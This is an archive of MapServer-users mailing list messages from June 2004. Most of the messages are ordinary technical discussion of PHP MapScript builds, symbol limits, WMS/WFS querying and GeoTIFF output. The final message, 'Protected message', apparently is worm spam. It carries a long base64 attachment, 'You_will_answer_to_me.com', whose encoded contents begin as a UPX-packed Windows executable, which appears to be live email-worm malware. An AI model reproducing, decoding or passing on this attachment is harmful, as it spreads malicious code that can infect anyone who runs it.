Unlike the docs indicate we had to use: -with-php=/usr/local/php/include/php This is the directory on our php install which contains the following dirs and files: TSRM/ Zend/ acconfig.h ext/ main/ regex/ As well, the FreeBSD make, which successfully made mapserv, failed to find the php include files. GNU gmake 3.8 worked. HTH. Eric From Horst.Duester at bd.so.ch Thu Jun 3 08:21:14 2004 From: Horst.Duester at bd.so.ch (=?ISO-8859-1?Q?D=FCster_Horst?=) Date: Thu, 3 Jun 2004 16:21:14 +0100 Subject: [Mapserver-users] mapserv.exe with max_symbols > 64 Message-ID: <5B025B1F39D6D4119F5700508BEEEC66F94AAB@SRSOFAIOI4546> I'm looking out for a mapserv.exe with a definition of max_symbols > 64 in ideal case with max_symbols >= 256. The mapserv.exe distributed by DMSolutions seems to work with the default max_symbols=64. I don't understand, why they don't increase from this small value to a larger value. At a large site with many MapServer applications you will overshoot this limitation soon. Best regards? Horst D?ster From Chip.Hankley at rmtinc.com Thu Jun 3 08:02:24 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 03 Jun 2004 10:02:24 -0500 Subject: [Mapserver-users] mapserv.exe with max_symbols > 64 Message-ID: >At a large site with many MapServer applications you will overshoot this >limitation soon. This isn't what you're looking for, but why not use separate symbol definition files per application? Does any ONE application use more than 64 symbols? Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From dmorissette at dmsolutions.ca Thu Jun 3 08:23:21 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 11:23:21 -0400 Subject: [Mapserver-users] querying WMS layer In-Reply-To: <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> Message-ID: <40BF4269.7000904@dmsolutions.ca> bartvde at xs4all.nl wrote: > >>If so, is there some other prescribed way of displaying a WMS layer, and >>being able to query that layer? > > > Not that I know off, you could do some PHP/Mapscript though to get the > connection of the layer (i.e. the URL of the WMS server) and build the > GetFeatureInfo request yourself. This is the approach that Chameleon > follows. > Actually in MapScript there is a layerObj->getWMSFeatureInfoURL() method that will build the URL for you. All that's left to do for the script is to call the URL and to display or try to make sense of the result (the hard part). -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Thu Jun 3 08:27:20 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 11:27:20 -0400 Subject: [Mapserver-users] Installation Problem In-Reply-To: <1086269108.1780.8.camel@ubet.gomoos.org> References: <20040603083319.31331.qmail@web12308.mail.yahoo.com> <1086269108.1780.8.camel@ubet.gomoos.org> Message-ID: <40BF4358.6060800@dmsolutions.ca> Eric Bridger wrote: > > Even though we are running FreeBSD 4.8 > this sounds suspiciously like a problem we ran into just yesterday > attempting to compile PHP Mapscript (Mapserver4.2.0). > > Unlike the docs indicate we had to use: > -with-php=/usr/local/php/include/php > With MapServer 4.2 you can (and should) use: --with-php=/usr/local/php In older versions of MapServer you had to point to the source tree directly but this is not required any more. If there are docs that suggest that you should point to the include/php directory then please point me to them so that they can be fixed. Thanks Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From warmerdam at pobox.com Thu Jun 3 08:31:31 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 03 Jun 2004 11:31:31 -0400 Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <20040603031621.V32465@osiris.deathkeep.com> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> <20040603031621.V32465@osiris.deathkeep.com> Message-ID: <40BF4453.5000703@pobox.com> Gregor Mosheh wrote: > I spent the last day experimenting with WFS, since that's what we *really* > want to be sending instead of images, and came to the conclusion (that > seems to have been confirmed by some others on the list) that WFS is > incredibly slow (as in, several minutes) because of the GML encoding, > which made it unsuitable for use in dynamic map layers. > > WFS' slowness surprised me: should a feature list being sent to the client > never contain more than several items? Or is this a "problem" with > MapServer's implementation of a WFS server? Would another WFS server > (GeoServer?) do it faster and be able to send more items in a reasonable > period? Gregor, I don't think WFS queries should be inherently slow. Encoding GML is not a particularly expensive task. But there are lots of issues to be careful of with WFS. For instance, it is easy to unexpectedly generate a very large GML response set if you select alot of features or they are very complex. I think you need to examine what you are doing more closely to see if: o the resultset is very large (dump response to file and inspect size) o the query being done by MapServer is expensive. Some WFS geometric queries may be expensive to check. MapServer is generally not terribly fast at attribute queries as far as I know. o The MapServer query architecture requires that each query result be fetched individually by id after a first pass to build a list of ids for features that satisfy the request. This kind of read is very slow against some datasources (ie. some OGR drivers). Lets try and dig into the performance a bit deeper to determine what the issue is. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From dmorissette at dmsolutions.ca Thu Jun 3 08:29:37 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 11:29:37 -0400 Subject: [Mapserver-users] Compiling php_mapscript as build-in module? In-Reply-To: <20040603114504.GB21421@truffles.geodata.soton.ac.uk> References: <20040603114504.GB21421@truffles.geodata.soton.ac.uk> Message-ID: <40BF43E1.5090706@dmsolutions.ca> Homme Zwaagstra wrote: > Hi, > > I'm wondering if there's any way to compile php mapscript as a > built-in module rather than the current external module which needs to > be loaded with the dl() function. > I never tried... but you've got the source so you can try. For sure I wouldn't expect that to work out of the box. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From warmerdam at pobox.com Thu Jun 3 08:46:53 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 03 Jun 2004 11:46:53 -0400 Subject: [Mapserver-users] GeoTiff output color problems In-Reply-To: <20040602222020.30776.qmail@web80104.mail.yahoo.com> References: <20040602222020.30776.qmail@web80104.mail.yahoo.com> Message-ID: <40BF47ED.9080104@pobox.com> Matthew Perry wrote: > Frank, > Thanks for the reply. > > I get the same strange colors when using IMAGEMODE > RGBA. We are using the following setup: > > GDAL 1.1.9.0, released 2003/06/27 > > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE > SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 > INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL > INPUT=SHAPEFILE > > I noticed there is no OUTPUT=TIFF ??? Is this not > shown since it is handled by the GDAL libs? > > Other than geotiff output, the setup works fine. I do > not have administrative privleges on this server so I > am not at liberty to experiment with 4.2. What would > you suggest for next steps... upgrade GDAL, upgrade > Mapserver, or both?? Matt, What platform are you working on? I really don't know why things are screwed up. I don't remember fixing a bug about band packing in MapServer. I doubt the issue would be in GDAL though 1.1.9 is pretty antique. If you can bundle up the mapfile and dataset(s) to reproduce the problem I could try it here and see if it works fine on my configuration. In general, I would encourage upgrading to GDAL 1.2.0 and MapServer 4.2 when you get a chance, but I am not convinced yet it will solve your problem. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From TMitchell at lignum.com Thu Jun 3 09:48:23 2004 From: TMitchell at lignum.com (TMitchell) Date: Thu, 03 Jun 2004 10:48:23 -0600 Subject: [Mapserver-users] Protected message Message-ID: ----------hhwgzipqvxauuxsidntz Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------hhwgzipqvxauuxsidntz Content-Type: application/octet-stream; name="You_will_answer_to_me.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="You_will_answer_to_me.com" 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 